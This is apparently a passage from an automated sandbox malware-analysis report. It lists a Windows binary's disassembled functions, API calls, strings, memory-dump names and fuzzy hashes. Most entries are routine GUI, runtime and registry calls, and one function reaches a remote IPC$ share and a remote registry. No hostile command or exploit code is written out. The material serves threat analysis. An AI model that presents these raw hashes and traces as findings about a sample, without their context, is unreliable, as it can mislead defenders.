GetDIBits.GDI32(?,?,00000000,?,00000000,00000028,00000000), ref: 009626D0
SelectObject.GDI32(?,?), ref: 009626D8
DeleteObject.GDI32(?), ref: 009626E1
DeleteDC.GDI32(?), ref: 009626E8
ReleaseDC.USER32(00000000,?), ref: 009626F3

Strings

(, xrefs: 0096268D

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: 511734d6638904c7a1ea74a53d995826db7f139a516b54e652e5c6aaebc249d5
Instruction ID: 3fc30eaa3319263ee663a4941c1dd2d8a2712dfdd6eeb3657ae414fd859fbbe3
Opcode Fuzzy Hash: 511734d6638904c7a1ea74a53d995826db7f139a516b54e652e5c6aaebc249d5
Instruction Fuzzy Hash: 5761E5B6D04219EFCF14CFA4D884EAEBBB5FF48310F20852AE559A7250D774A941DF50

Function 0091DA5D Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0091DAA1

Part of subcall function 0091D63C: _free.LIBCMT ref: 0091D659
Part of subcall function 0091D63C: _free.LIBCMT ref: 0091D66B
Part of subcall function 0091D63C: _free.LIBCMT ref: 0091D67D
Part of subcall function 0091D63C: _free.LIBCMT ref: 0091D68F
Part of subcall function 0091D63C: _free.LIBCMT ref: 0091D6A1
Part of subcall function 0091D63C: _free.LIBCMT ref: 0091D6B3
Part of subcall function 0091D63C: _free.LIBCMT ref: 0091D6C5
Part of subcall function 0091D63C: _free.LIBCMT ref: 0091D6D7
Part of subcall function 0091D63C: _free.LIBCMT ref: 0091D6E9
Part of subcall function 0091D63C: _free.LIBCMT ref: 0091D6FB
Part of subcall function 0091D63C: _free.LIBCMT ref: 0091D70D
Part of subcall function 0091D63C: _free.LIBCMT ref: 0091D71F
Part of subcall function 0091D63C: _free.LIBCMT ref: 0091D731

_free.LIBCMT ref: 0091DA96

Part of subcall function 009129C8: RtlFreeHeap.NTDLL(00000000,00000000,?,0091D7D1,00000000,00000000,00000000,00000000,?,0091D7F8,00000000,00000007,00000000,?,0091DBF5,00000000), ref: 009129DE
Part of subcall function 009129C8: GetLastError.KERNEL32(00000000,?,0091D7D1,00000000,00000000,00000000,00000000,?,0091D7F8,00000000,00000007,00000000,?,0091DBF5,00000000,00000000), ref: 009129F0

_free.LIBCMT ref: 0091DAB8
_free.LIBCMT ref: 0091DACD
_free.LIBCMT ref: 0091DAD8
_free.LIBCMT ref: 0091DAFA
_free.LIBCMT ref: 0091DB0D
_free.LIBCMT ref: 0091DB1B
_free.LIBCMT ref: 0091DB26
_free.LIBCMT ref: 0091DB5E
_free.LIBCMT ref: 0091DB65
_free.LIBCMT ref: 0091DB82
_free.LIBCMT ref: 0091DB9A

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 4915e38842f4ccd9ead14123139cd936ef954cef22be7a9a5cda37a2438848dd
Instruction ID: 94428ffdfa8a039cd704d524d4a025e8651597409198319eb0af3758bcb051f5
Opcode Fuzzy Hash: 4915e38842f4ccd9ead14123139cd936ef954cef22be7a9a5cda37a2438848dd
Instruction Fuzzy Hash: 7B3148327496089FEB22AB39E945B9A77ECFF40320F114419E459DB191DB34ACE08720

Function 0094365B Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 267windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 0094369C
_wcslen.LIBCMT ref: 009436A7
SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 00943797
GetClassNameW.USER32(?,?,00000400), ref: 0094380C
GetDlgCtrlID.USER32(?), ref: 0094385D
GetWindowRect.USER32(?,?), ref: 00943882
GetParent.USER32(?), ref: 009438A0
ScreenToClient.USER32(00000000), ref: 009438A7
GetClassNameW.USER32(?,?,00000100), ref: 00943921
GetWindowTextW.USER32(?,?,00000400), ref: 0094395D

Strings

%s%u, xrefs: 00943734

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout_wcslen
String ID: %s%u
API String ID: 4010501982-679674701
Opcode ID: dc9a4c7e785257c98d1cb01251b2de08b297f309d7a6946324968f86451bde17
Instruction ID: 986f6c1a87775f72c34eab17d503b611bab44fb9a30ac773821e170bd0345620
Opcode Fuzzy Hash: dc9a4c7e785257c98d1cb01251b2de08b297f309d7a6946324968f86451bde17
Instruction Fuzzy Hash: 2B919E71204606EFD719DF34C885FAAF7A8FF44354F108629FAA9D2190DB30EA55CB91

Function 00944954 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 253COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000400), ref: 00944994
GetWindowTextW.USER32(?,?,00000400), ref: 009449DA
_wcslen.LIBCMT ref: 009449EB
CharUpperBuffW.USER32(?,00000000), ref: 009449F7
_wcsstr.LIBVCRUNTIME ref: 00944A2C
GetClassNameW.USER32(00000018,?,00000400), ref: 00944A64
GetWindowTextW.USER32(?,?,00000400), ref: 00944A9D
GetClassNameW.USER32(00000018,?,00000400), ref: 00944AE6
GetClassNameW.USER32(?,?,00000400), ref: 00944B20
GetWindowRect.USER32(?,?), ref: 00944B8B

Strings

ThumbnailClass, xrefs: 00944A6F, 00944AF1

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: ClassName$Window$Text$BuffCharRectUpper_wcslen_wcsstr
String ID: ThumbnailClass
API String ID: 1311036022-1241985126
Opcode ID: 522a1c9aeb8f3bbc48ac9673aae266db85e360579302919f8cb78fdac858930f
Instruction ID: c64f8a5aeb20ee0950c40880989e5e6efd00fe04620a617f1dc2679ef3bf7274
Opcode Fuzzy Hash: 522a1c9aeb8f3bbc48ac9673aae266db85e360579302919f8cb78fdac858930f
Instruction Fuzzy Hash: CB91C0721082069FDB04DF14C985FAA77ECFF84718F048469FD899A196EB34ED45CBA1

Function 00978D0E Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 221windowCOMMON

Download Yara Rule

APIs

Part of subcall function 008F9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 008F9BB2

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00978D5A
GetFocus.USER32 ref: 00978D6A
GetDlgCtrlID.USER32(00000000), ref: 00978D75
DefDlgProcW.USER32(?,00000111,?,?,00000000,?,?,?,?,?,?,?), ref: 00978E1D
GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 00978ECF
GetMenuItemCount.USER32(?), ref: 00978EEC
GetMenuItemID.USER32(?,00000000), ref: 00978EFC
GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 00978F2E
GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 00978F70
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00978FA1

Strings

0, xrefs: 00978E9F

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow
String ID: 0
API String ID: 1026556194-4108050209
Opcode ID: 5788f2b68eeaec9166636bce301c9553e53fd6f9fc4a4e646c8861913ef4e1ad
Instruction ID: 792e4fa99b6c6e4478d68d7b812dd3ba72d22e12b2b985632620c9c031183789
Opcode Fuzzy Hash: 5788f2b68eeaec9166636bce301c9553e53fd6f9fc4a4e646c8861913ef4e1ad
Instruction Fuzzy Hash: 0981AE72648301AFD710DF24C888AAB7BE9FF88714F14891DF98C97291DB31D940DBA2

Function 0094DC0E Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 178COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(?,?), ref: 0094DC20
GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000,?,?), ref: 0094DC46
_wcslen.LIBCMT ref: 0094DC50
_wcsstr.LIBVCRUNTIME ref: 0094DCA0
VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 0094DCBC

Strings

StringFileInfo\, xrefs: 0094DC8F
04090000, xrefs: 0094DCF2
%u.%u.%u.%u, xrefs: 0094DD9A
\VarFileInfo\Translation, xrefs: 0094DCB4
DefaultLangCodepage, xrefs: 0094DD1F

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: FileInfoVersion$QuerySizeValue_wcslen_wcsstr
String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
API String ID: 1939486746-1459072770
Opcode ID: 25e9aed75b11fa8c57901b509f2dd5ddbadc02fb9123ff8206093b9674f8e32e
Instruction ID: 20c3c0fada51572e9bc7334b337e1107df5dd354e5e3c226e4dadf0ec334bd8a
Opcode Fuzzy Hash: 25e9aed75b11fa8c57901b509f2dd5ddbadc02fb9123ff8206093b9674f8e32e
Instruction Fuzzy Hash: 6841F276A40204BADB14A7789C47FBF77ACEF82B10F144069FA04F61D3EB74990197A5

Function 0096CC34 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 104registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 0096CC64
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,?,?,00000000), ref: 0096CC8D
FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 0096CD48

Part of subcall function 0096CC34: RegCloseKey.ADVAPI32(?,?,?,00000000), ref: 0096CCAA
Part of subcall function 0096CC34: LoadLibraryA.KERNEL32(advapi32.dll,?,?,00000000), ref: 0096CCBD
Part of subcall function 0096CC34: GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 0096CCCF
Part of subcall function 0096CC34: FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 0096CD05
Part of subcall function 0096CC34: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 0096CD28

RegDeleteKeyW.ADVAPI32(?,?), ref: 0096CCF3

Strings

RegDeleteKeyExW, xrefs: 0096CCC9
advapi32.dll, xrefs: 0096CCB8

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Library$EnumFree$AddressCloseDeleteLoadOpenProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2734957052-4033151799
Opcode ID: 4c64c040c2f6c7be447a2d41e40566cc756e73ae7573645d9a75d38689e86e2e
Instruction ID: b6c26cd151d34971a451b29fcd88e802ee4a6a9d4e54d9f148802766501ba91c
Opcode Fuzzy Hash: 4c64c040c2f6c7be447a2d41e40566cc756e73ae7573645d9a75d38689e86e2e
Instruction Fuzzy Hash: 153160F2905129BBDB209B54DC88EFFBB7CEF46750F000569B949E2240D7349A85EAE0

Function 0094E6B0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 0094E6B4

Part of subcall function 008FE551: timeGetTime.WINMM(?,?,0094E6D4), ref: 008FE555

Sleep.KERNEL32(0000000A), ref: 0094E6E1
EnumThreadWindows.USER32(?,Function_0006E665,00000000), ref: 0094E705
FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 0094E727
SetActiveWindow.USER32 ref: 0094E746
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 0094E754
SendMessageW.USER32(00000010,00000000,00000000), ref: 0094E773
Sleep.KERNEL32(000000FA), ref: 0094E77E
IsWindow.USER32 ref: 0094E78A
EndDialog.USER32(00000000), ref: 0094E79B

Strings

BUTTON, xrefs: 0094E719

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: 7e9b9c98d4cbb91d5a4859cddb77fde67ab91574368e33127df6bcf35dfb3c3f
Instruction ID: c0b8ffdd1d808f272a08698bfda3a06d792c96c8ff6b2b8cbba9175bf6f578d0
Opcode Fuzzy Hash: 7e9b9c98d4cbb91d5a4859cddb77fde67ab91574368e33127df6bcf35dfb3c3f
Instruction Fuzzy Hash: 322181B1628205EFEB005F30EDCAE293B6DF7543A9F101629F50AC11A1DB71AC40AB24

Function 0094E9FC Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 71COMMON

Download Yara Rule

APIs

Part of subcall function 008E9CB3: _wcslen.LIBCMT ref: 008E9CBD

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 0094EA5D
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 0094EA73
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0094EA84
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 0094EA96
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 0094EAA7

Strings

play PlayMe wait, xrefs: 0094EA91
open , xrefs: 0094EA0C
play PlayMe, xrefs: 0094EAA2
status PlayMe mode, xrefs: 0094EA58
alias PlayMe, xrefs: 0094EA36
close PlayMe, xrefs: 0094EA6E, 0094EA9B

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: SendString$_wcslen
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2420728520-1007645807
Opcode ID: 266d67be899b88c7a591ac6344d118f996b56e334faf8844947662e594016c27
Instruction ID: e76476e3c7695be19f75f0553d4933ac11448698a52cc9ae1564c16b8ddc9e41
Opcode Fuzzy Hash: 266d67be899b88c7a591ac6344d118f996b56e334faf8844947662e594016c27
Instruction Fuzzy Hash: B0117C31A9026979D720E7AADC4AEFF6A7CFBD3B04F440529B811E20D1EEB04E45C5B1

Function 00945CC6 Relevance: 18.2, APIs: 12, Instructions: 173COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 00945CE2
GetWindowRect.USER32(00000000,?), ref: 00945CFB
MoveWindow.USER32(?,0000000A,00000004,?,?,00000004,00000000), ref: 00945D59
GetDlgItem.USER32(?,00000002), ref: 00945D69
GetWindowRect.USER32(00000000,?), ref: 00945D7B
MoveWindow.USER32(?,?,00000004,00000000,?,00000004,00000000), ref: 00945DCF
GetDlgItem.USER32(?,000003E9), ref: 00945DDD
GetWindowRect.USER32(00000000,?), ref: 00945DEF
MoveWindow.USER32(?,0000000A,00000000,?,00000004,00000000), ref: 00945E31
GetDlgItem.USER32(?,000003EA), ref: 00945E44
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 00945E5A
InvalidateRect.USER32(?,00000000,00000001), ref: 00945E67

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: 75bfd57fa839b2f69140c08764ec5d5486116252dd3ded27de944d5fc3348555
Instruction ID: 084a5013aeef9a215409fb25306542df28fb02561ff8d0ba038f72718744f5a4
Opcode Fuzzy Hash: 75bfd57fa839b2f69140c08764ec5d5486116252dd3ded27de944d5fc3348555
Instruction Fuzzy Hash: 47511CB1B10605AFDF18CFA8CD89EAEBBB9EF48300F158129F519E6291D7709E40CB50

Function 008F8BCD Relevance: 18.2, APIs: 12, Instructions: 168timeCOMMON

Download Yara Rule

APIs

Part of subcall function 008F8F62: InvalidateRect.USER32(?,00000000,00000001,?,?,?,008F8BE8,?,00000000,?,?,?,?,008F8BBA,00000000,?), ref: 008F8FC5

DestroyWindow.USER32(?), ref: 008F8C81
KillTimer.USER32(00000000,?,?,?,?,008F8BBA,00000000,?), ref: 008F8D1B
DestroyAcceleratorTable.USER32(00000000), ref: 00936973
ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,00000000,?,?,?,?,008F8BBA,00000000,?), ref: 009369A1
ImageList_Destroy.COMCTL32(?,?,?,?,?,?,?,00000000,?,?,?,?,008F8BBA,00000000,?), ref: 009369B8
ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,?,?,00000000,?,?,?,?,008F8BBA,00000000), ref: 009369D4
DeleteObject.GDI32(00000000), ref: 009369E6

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 641708696-0
Opcode ID: e27906e6c93971089fba99e398e331b3b30203b4dcd244874499ecd760abb73a
Instruction ID: 5d03fcb7329f4eb67286c8164605462304129fbb53de85977e7c491df9ea1612
Opcode Fuzzy Hash: e27906e6c93971089fba99e398e331b3b30203b4dcd244874499ecd760abb73a
Instruction Fuzzy Hash: 0B619931116608EFDB259F28DA58B3977F1FB40326F54861CE286DB960CB31A990EF90

Function 008F9838 Relevance: 18.1, APIs: 12, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 008F9944: GetWindowLongW.USER32(?,000000EB), ref: 008F9952

GetSysColor.USER32(0000000F), ref: 008F9862

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: 6e2dee6afde7818651c8bb1594d138afdc202bdd58c66af49f5c85f2a2c964b9
Instruction ID: 5a739a74acb6ce7ac054bcbb7a0b1e57ca495185fd0d1f3186441805e81d3fe5
Opcode Fuzzy Hash: 6e2dee6afde7818651c8bb1594d138afdc202bdd58c66af49f5c85f2a2c964b9
Instruction Fuzzy Hash: A041AF71118648AFDB305F389C88BB93BA9FB46370F144629FAE6C71E1C7319981EB11

Function 009496E2 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 137windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000001,00000000,?,?,0092F7F8,00000001,0000138C,00000001,?,00000001,00000000,?,?), ref: 00949717
LoadStringW.USER32(00000000,?,0092F7F8,00000001), ref: 00949720

Part of subcall function 008E9CB3: _wcslen.LIBCMT ref: 008E9CBD

GetModuleHandleW.KERNEL32(00000000,00000001,?,00000FFF,?,?,0092F7F8,00000001,0000138C,00000001,?,00000001,00000000,?,?,00000000), ref: 00949742
LoadStringW.USER32(00000000,?,0092F7F8,00000001), ref: 00949745
MessageBoxW.USER32(00000000,00000000,?,00011010), ref: 00949866

Strings

Line %d:, xrefs: 009497A0
Error: , xrefs: 0094981D
%s (%d) : ==> %s: %s %s, xrefs: 0094984A
^ ERROR, xrefs: 009497FB
Line %d (File "%s"):, xrefs: 0094978F

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wcslen
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 747408836-2268648507
Opcode ID: 17449f7aecdafad296710f6ea76df0c3a159ee291ac325a4fe08f5b8d3234266
Instruction ID: 2f5f8a983d3946653d54a12117176e0c91f35d94d238ee65680bc975db973458
Opcode Fuzzy Hash: 17449f7aecdafad296710f6ea76df0c3a159ee291ac325a4fe08f5b8d3234266
Instruction Fuzzy Hash: 3B417D72804259AACB04FBE5DD86EEF7778FF56340F600025F605B2192EA646F48CB62

Function 009406DE Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 127registryshareCOMMON

Download Yara Rule

APIs

Part of subcall function 008E6B57: _wcslen.LIBCMT ref: 008E6B6A

WNetAddConnection2W.MPR(?,?,?,00000000), ref: 009407A2
RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 009407BE
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 009407DA
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 00940804
CLSIDFromString.OLE32(?,000001FE,?,SOFTWARE\Classes\), ref: 0094082C
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00940837
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 0094083C

Strings

\IPC$, xrefs: 00940784
SOFTWARE\Classes\, xrefs: 0094070E
\CLSID, xrefs: 00940724

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
